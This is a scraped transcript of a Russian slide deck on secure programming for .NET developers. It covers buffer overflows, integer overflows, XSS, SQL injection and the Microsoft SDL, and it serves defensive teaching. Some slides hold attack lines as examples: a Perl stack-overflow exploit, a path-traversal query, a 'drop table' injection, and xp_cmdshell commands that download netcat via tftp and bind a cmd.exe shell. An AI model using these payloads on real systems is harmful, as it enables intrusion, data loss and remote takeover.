Безопасность для программиста – все что нужно знать Сергей Поляков alexei@samara.net CEO WebZavod, MCSD.NET.

Презентация:



Advertisements
Похожие презентации
1. Определить последовательность проезда перекрестка
Advertisements


Развивающая викторина для детей "Самый-самый " Муниципальное общеобразовательное учреждение средняя общеобразовательная школа 7 ст. Беломечётской.
Урок повторения по теме: «Сила». Задание 1 Задание 2.
1 Знаток математики Тренажер Таблица умножения 2 класс Школа 21 века ®м®м.
Таблица умножения на 8. Разработан: Бычкуновой О.В. г.Красноярск год.
Тестирование безопасности или Security and Access Control Testing.
© 2007 Cisco Systems, Inc. All rights reserved.SMBE v Cisco SMB University for Engineers Настройка маршрутизаторов Cisco с интегрированными услугами.
Получение контроля над объектом атаки Местонахождение атакующего В разных сегментах с объектом атаки Используемые уязвимости Цель Ошибки реализации Степень.
1 Знаток математики Тренажер Таблица умножения 3 класс Школа России Масько Любовь Георгиевна Муниципальное общеобразовательное учреждение средняя общеобразовательная.
Алексей Иванов Агентство ISEE Marketing Анализ поведения пользователей на сайте и управление конверсией.
Top 10 возможностей ASP.NET 2.0. Выбор сделан на основе опросов разработчиков Top 10 – горячая десятка возможностей.
© 2002, Cisco Systems, Inc. All rights reserved. AWLF 3.0Module 7-1 © 2002, Cisco Systems, Inc. All rights reserved.
© Alexey N. Kostikov Платформа Moodle
Перегрузка операторов x = a + b результат 1-й операнд2-й операнд оператор По количеству операндов операторы делятся на: унарные (один операнд) бинарные.
Разработал: Учитель химии, биологии высшей квалификационной категории Баженов Алексей Анатольевич.
Получение контроля над объектом атаки Местонахождение атакующего В разных сегментах с объектом атаки Используемые уязвимости Цель Ошибки реализации Степень.
Матемтааки ЕТ СТ 2 класс Шипилова Наталия Викторовна учитель начальных классов, ВКК Шипилова Наталия Викторовна учитель начальных классов, ВКК.
Лекция 2 Раздел 2.1 Windows Phone Темы раздела 3.
Получение контроля над объектом атаки Местонахождение атакующего В разных сегментах с объектом атаки Используемые уязвимости Цель Ошибки реализации Степень.
Транксрипт:

Безопасность для программиста – все что нужно знать Сергей Поляков CEO WebZavod, MCSD.NET

2План Приоритеты Microsoft – раньше и сейчас Реалии войны за безопасность Как победить?

3 Приоритеты Microsoft Компьютер в каждый дом Информация на кончиках пальцев 1995 – Важность Internet 2000 –.NET Platform 2002 – Trustworthy computing Когда мы сталкиваемся с проблемой выбора между реализацией новой функциональной возможности и устранением уязвимости, мы должны выбирать второеКогда мы сталкиваемся с проблемой выбора между реализацией новой функциональной возможности и устранением уязвимости, мы должны выбирать второе

4 Открытые, прозрачные взаимоотношения с заказчиками Лидерство в индустрии Поддержка открытых стандартов ПредсказуемаяПоддерживаемаяУстойчиваяВосстановимаяДоказанная Защищенность от атак Защита конфиден- циальности, целос- тности данных и систем Управляемая Защита от нежелательных коммуникаций Контроль за приватностью информации Продукты, онлайновые сервисы, принципы доступа

5 Безопасность, пожалуй, самая скучная вещь на свете. Что происходит когда система надежно защищена? Founder and CTO of WhiteHat Security, Inc. Jeremiah Grossman Что думают разработчики? НИЧЕГО!"

6 Во что выливается подобное отношение Две строки кода на C в RPCSS (Blaster): while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Привели к >1,500,000 зараженных компьютеров 3,370,000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350,000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft Gartner «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester Der Speigel

7 Что было сделано Microsoft Инвестировано более $100,000,000 Обучено более 11,000 инженеров и сотрудников поддержки План по безопасности для каждого продукта Моделирование угроз Постоянный аудит кода Аудит обязательная часть при выпуске продукта

8Результаты! Windows 2000 vs Windows Server 2003 Office 2000 vs Office 2003 Windows XPSP1 vs Windows XPSP2 Exchange 2000 vs Exchange 2003

9Результаты! Снижение кол-ва уязвимостей в 2 раза ! IIS5 vs IIS6 SQL Server 2000 vs SQL Server 2000 SP3 IE6 vs IE6 SP2

10Результаты!

11 На самом деле мы считаем Microsoft лидером отрасли ПО из-за их улучшений в безопасной разработке John Pescatore Vice President and Distinguished Analyst Gartner, Inc (From CRN, Feb 13 th 2006) Результаты!

12 Они [Microsoft] в обязательном порядке проводят аудиты кода и тренинги по безопасности для всех разработчиков. Open Source проекты пока не могут придерживаться тех же требований. Author and enterprise systems consultant Ted Neward TheServerSide Java Symposium (March 27 th 2006) Результаты!

13 9 из 10 web сайтов имеют как минимум 1 серьезную уязвимость! Каждый раз когда вы посещаете ваш любимый on-line магазин, проверяете состояние счета или просто разговариваете в чате существует 90% вероятность того, что сайт уже взломан! Founder and CTO of WhiteHat Security, Inc. Jeremiah Grossman Начальная стоимость уязвимости для Microsoft – $ Microsoft Security Response Center Война за безопасность - Реалии

14 Реалии войны Дилемма атакующего и защищающегося 1. Администратор должен помнить о всех возможных способах взлома; атакующий может выбрать самую уязвимую особенность системы 2. Администратор защищается от известных методов взлома; атакующий пробует неизвестные 3. Администратор всегда должен быть на чеку; атакующий может выбрать любой момент 4. Администратор должен придерживаться правил; атакующий этого не делает

15 Реалии войны Хакеры атакуют нерасторопных Секундомер запускается ПОСЛЕ выпуска патча Hackers Beating Efforts to Patch Software Flaws /0,10801,104092,00.html Вместо того чтобы искать уязвимости самостоятельно, они [хакеры] ждут пока выйдут патчи и затем смотрят что за дыры там закрыты, затем они уже думают как их использоватьВместо того чтобы искать уязвимости самостоятельно, они [хакеры] ждут пока выйдут патчи и затем смотрят что за дыры там закрыты, затем они уже думают как их использовать Zotob Proves Patching "Window" Non-Existent Глубокая Защита единственный шанс защититься от раннего появления вредоносного ПОГлубокая Защита единственный шанс защититься от раннего появления вредоносного ПО

16 Реалии войны Хакеры отлично вооружены Существуют инструменты, которые позволяют просто делать эксплойты Инструменты для реверс-инжиниринга Structural Comparison of Executable Objects, Halvar Flake PCT Bug: Обнаружение и понимание уязвимости заняло у нас менее 30 минут H.323 ASN.1 Bug: Общий анализ занял менее 3х часов Exploit Payloads

17 Цена создания атаки минимальна Цена для заказчиков огромна Разработка плана устранения. Поиск уязвимости. Устранение уязвимости. Тестирование патча. Тестирование программы установки патча. Создание и тестирование патча для разных языков. Стоимость цифрового подписывания кода (Authenticode) Публикация патча на сайт Написания сопроводительной документации Отслеживание и реакция на публикации в СМИ Стоимость трафика Стоимость рабочего времени на разработку следующей версии продукта, которое было остановлено Стоимость установки патча клиентом Стоимость потенциальной потери дохода в связи с возможным решением клиентов не пользоваться вашим продуктом Реалии войны Неравная стоимость

18 "Если вы знаете врага и знаете себя, то можете быть спокойны, если вам предстоит сражаться даже в сотне битв. Если вы знаете самого себя, но не знаете врага, за каждую добытую вами победу вы будете расплачиваться поражением. Если вы не знаете ни самого себя, ни врага, вы будете разбиты в каждой битве" Сунь Цзы. "Искусство войны" 511 год до н.э. Как победить?

19 Искусство войны Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Учиться

20 В компании, в которой я работал ДО Microsoft, вопросы безопасности изредка возникали на утренних совещаниях в понедельник - после того как технический директор во время уикенда смотрел фильм из разряда "The Net, "Sneakers" или "Hackers"" Один из сотрудников компании Microsoft Поддержка руководства Обычное отношение

21 Поддержка руководства Важность защищенных систем Две строки кода на C в RPCSS (Blaster): while (*pwszTemp != L'\\') *pwszServerName++ = *pwszTemp++; Привели к >1,500,000 зараженных компьютеров 3,370,000 звонков в поддержку в сентябре 2003 (при обычных вирусных эпидемиях не более 350,000) ОЧЕНЬ много негативных комментариев «Это поднимет на новый уровень мысли о поиске альтернативы для продуктов Microsoft Gartner «Определенно видны сдвиги в лучшую сторону [Безопасность Microsoft], но я не уверен, что этих сдвигов достаточно» Forrester Der Speigel

Откуда берутся дыры в системах?

23 Существует ТОЛЬКО два типа проблем с безопасностью Доверие вводу Доверие вводу Все остальное! Все остальное!

24 Crystal Reports Vulnerability MS public class CrystalImageHandler : WebControl { private string tmpdir = null; protected override void Render(HtmlTextWriter writer) { string filepath; string dynamicImage = (string)Context.Request.QueryString.Get("dynamicimage"); if (tmpdir == null) { tmpdir = ViewerGlobal.GetImageDirectory(); } filePath = tmpdir + dynamicImage; FileStream imagestream = new FileStream (filePath, FileMode.Open, FileAccess.Read); // stream file to user File.Delete (filePath); } (1) Получаем имя файла из querystring (2) Открываем файл (4) Убиваем файл! crystalimagehandler.aspx?dynamicimage=..\..\boot.ini (3) Отправляем пользователю

25 Доверие тем, кому не надо Переполнения буферов SQL Injection Cross-Site Scripting «Все входящее плохое, пока не доказано обратное!» Blake Blake or 1=1 -- Blake var i=document

26 Переполнение стека BuffersOther vars EBP EIP Args void func(char *p, int i) { int j = 0; CFoo foo; int (*fp)(int) = &func; char b[128]; strcpy(b,p); } Адрес возврата функции Хендлы исключений Указатели на функции Виртуальные методы Определяет порядок выполнения 0wn3d! Беда, если *p указы- вает на данные уже не b

27 Переполнение стека void foo(const char* input) { char buf[10]; printf("My stack:\n%p…"); printf("%s\n", buf); printf("Now stack:\n%p…"); } void bar(void) { printf("Augh! I've been hacked!\n"); } int main(int argc, char* argv[]) { printf("Address of foo = %p\n", foo); printf("Address of bar = %p\n", bar); foo(argv[1]); return 0; } C:\>StackOverrun.exe Hello foo = bar = My stack: FFDF FF A00410EDEHello Now stack: 6C6C F7FFDF FF A00410EDE $arg = "ABCDEFGHIJKLMNOP". "\x45\x10\x40"; $cmd = "StackOverrun ".$arg; system($cmd); C:\>perl HackOverrun.pl foo = bar = My stack: Now stack: C4B4A49504F4E4D ECA Augh! I've been hacked!

28 Печальный пример SQL Server Instance Resolution (MS02-039) #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 void SsrpSvr(LPSTR szInstanceName) { BYTE rgbRecvBuf[MAX_RECV_MSG];... ssrpMsg = SsrpRecvMsg(rgbRecvBuf); switch(ssrpMsg) { case CLNT_UCAST_INST: // Verb #4 SsrpEnum((LPSTR)&rgbRecvBuf[1]); } SSRPMSGTYPE SsrpRecvMsg(BYTE *rgbRecvBuf) {... bytesRecd = recvfrom( gSvrSock, (char*)rgbRecvBuf, MAX_RECV_MSG, 0, (SOCKADDR *)&gclientAddr, &cClientAddr ); return((SSRPMSGTYPE)rgbRecvBuf[0]); } BOOL SsrpEnum(LPSTR szInstName,...) { char szregVersion[128]; sprintf(szregVersion,"%s%s\\MSSQLServer\\CurrentVersion",INSTREGKEY,szInstName); Читаем не более 256 байт из сети Копируем в 128 байт буфер :(Слушаем порт 1434 – Internet

29 error_status_t _RemoteActivation(..., WCHAR *pwszObjectName,... ) { *phr = GetServerPath( pwszObjectName, &pwszObjectName);... } HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath; } HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++;... } Еще пример DCOM Remote Activation (MS03-026) Копируем пока не встретим \ Слушаем порт 135 – Internet

30 SMFRESULT FNLOCAL smfBuildFileIndex(PSMF BSTACK *ppsmf) { WORD wMemory; wMemory = sizeof(SMF) + (WORD)(psmf->dwTracks*sizeof(TRACK)); psmfTemp = (PSMF)LocalReAlloc(psmf, wMemory, LMEM_MOVEABLE|LMEM_ZEROINIT); if (NULL == psmfTemp){ DPF(1, "No memory for extended psmf"); return SMF_NO_MEMORY; } psmf = *ppsmf = psmfTemp; // various buffer copies on psmf Атаки на целочисленную арифметику MIDI File Processing Error (MS03-030) sizeof(TRACK) == 0x24, sizeof(SMF) == 0x9E0 Переполнение если dwTracks >= 0x6D8 (1752) 0x9E0 + (0x24 x 0x6D8) == 0x0040 (64 bytes) LocalReAlloc выделяет слишком мало памяти

31 Проблемы с канонизацией more < boot.ini equals more < boot.ini. equals more < boot.ini::$DATA Название потока Давайте рассмотрим

32 Cross Site Scripting (XSS) ОЧЕНЬ частая уязвимость Ошибка в веб-сервере может привести к компрометации клиента и даже более Ошибка – доверяем вводу и повторяем его!

33 XSS в действии – крадем Cookie Welcome.asp Hello, document.write ( ) here

34 XSS в действии – дефейс /location= document.images[4].src= " /location= document.images[4].src= "

35 SQL Injection – C# string Status = "No"; string sqlstring =""; try { SqlConnection sql= new source=localhost;" + "user id=sa;password=password;"); sql.Open(); sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; SqlCommand cmd = new SqlCommand(sqlstring,sql); if ((int)cmd.ExecuteScalar() != 0) Status = "Yes"; } catch (SqlException se) { Status = sqlstring + " failed\n\r"; foreach (SqlError e in se.Errors) { Status += e.Message + "\n\r"; } } catch (Exception e) { Status = e.ToString(); } Пароль что надо! Работаем как админ! String concat для dynamic SQL Говорим плохому человеку слишком много!

36 Что неправильно (1 из 3) Обычный пользователь SELECT HasShipped FROM Shipment WHERE ID='1001' «Не очень хороший пользователь» SELECT HasShipped FROM Shipment WHERE ID= '1001' or 2>1 -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; " FROM Shipment WHERE ID='" + Id + "'";

37 Что неправильно (2 из 3) «Очень плохой хакер» SELECT HasShipped FROM Shipment WHERE ID= '1001' drop table orders -- ' «Аффтар аццкий сотона» SELECT HasShipped FROM Shipment WHERE ID= '1001' exec xp_cmdshell('...') -- ' sqlstring="SELECT HasShipped" + " FROM Shipment WHERE ID='" + Id + "'"; " FROM Shipment WHERE ID='" + Id + "'";

38 Что неправильно(3 из 3) Ваш самый страшный кошмар! nc.exe -l -p exec xp_cmdshell 'tftp -i GET nc.exe c:\nc.exe' exec xp_cmdshell 'c:\nc.exe -v -e cmd.exe ' 0wns jesper

39 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики

40 Снижение вероятности атаки Анализ точек входа в ПО, а также ПлохоЛучше Executing by default Off by default Open socket Closed socket UDPTCP Anonymous Access User Access Admin Access Internet Access Local Subnet Access SYSTEM Not SYSTEM! Weak ACLs Strong ACLs

41Примеры Windows XP SP2 Authenticated RPC Firewall по умолчанию IIS6Выключен! Network service Только статика SQL Server 2005 xp_cmdshell выключен CLR и COM выключен Network service Visual Studio 2005 Web server только для localhost SQL Server Express только для localhost

42 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики

43 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики

44fxCop

45 fxCop - Demo Sql Injections в действии Cross Site Scripting не пройдет fxCop на страже Собственные правила

46 Сокращайте поверхность атак По умолчанию все выключено Используйте защищенный код Используйте инструменты Используйте лучшие практики

47System.Security.SecureString SecureString password = new SecureString(); ConsoleKeyInfo nextKey = Console.ReadKey(true); while(nextKey.Key != ConsoleKey.Enter) { password.AppendChar(nextKey.KeyChar); password.AppendChar(nextKey.KeyChar); Console.Write("*"); Console.Write("*"); nextKey = Console.ReadKey(true); nextKey = Console.ReadKey(true);}password.MakeReadOnly(); return password System.String использовать для хранения важной информации опасно

48 Enterprise Library 2.0 Cryptography Application Block Security Application Block Demo Configuration Tool Quick Start for Security

49 Security Training Security Kickoff & Register with SWI Security Design Best Practices Security Arch & Attack Surface Review Use Security Development Tools & Security Best Dev & Test Practices Create Security Docs and Tools For Product Prepare Security Response Plan Security Push Pen Testing Final Security Review Security Servicing & Response Execution RequirementsDesignImplementationVerificationRelease Support & Servicing Proactive Security Development Lifecycle Задачи и процессы Threat Modeling

50 Недостаток знаний ; deldeleteete from table deldeleteete

51 Недостаток знаний

52 Роль обучения Эксперимент #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256 #define INSTREGKEY "SOFTWARE\\Microsoft\\Microsoft SQL Server\\" #define MAX_RECV_MSG 256

53

54 Samara.NET User Group > 100 участников 18 встреч, 2 встречи каждый месяц >30 докладов на разные темы Книги Защита ваших проектов ПризыОБЩЕНИЕ

55Ресурсы Описание Security Development Lifecycle Блог Michael Howard

56Заключение Безопасность это очень важно, потому что может быть очень накладно Нужно: Убедить руководство Знать методы взлома Сокращать возможность атаки Придерживаться процесса SDL Быть в курсе Общаться – UG ждет тебя!

57Вопросы? Сергей Поляков

58 © 2005 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary.

59 Как работает Microsoft: Watson

60 Еще целочисленные Internet Explorer 5.0 BMP Rendering (MS04-025) while (_bmfh.bfOffBits > (unsigned)cbRead) { BYTE abDummy[1024]; int cbSkip; cbSkip = _bmfh.bfOffBits - cbRead; cbSkip = _bmfh.bfOffBits - cbRead; if (cbSkip > 1024) cbSkip = 1024; if (cbSkip > 1024) cbSkip = 1024; if (!Read(abDummy, cbSkip)) goto Cleanup; if (!Read(abDummy, cbSkip)) goto Cleanup; cbRead += cbSkip; } cbRead += cbSkip; } If cbSkip < 0 :(

61 BOOL GpJpegDecoder::read_jpeg_marker( IN j_decompress_ptr cinfo, IN SHORT app_header, OUT VOID **ppBuffer, OUT UINT16 *pLength ) { VOID *pBuffer; UINT16 length; INPUT_VARS(cinfo); INPUT_2BYTES(cinfo, length, return FALSE); *pLength = length+2; pBuffer = GpMalloc(length+2);... INT l = length - 2;... GpMemcpy(p, cinfo->src->next_input_byte, l); Еще GDI+ JPG Rendering (MS04-028) 0xFFFE + 0x02 == 0x00 0xFFFFFFFE - 0x02 == 0xFFFFFFFC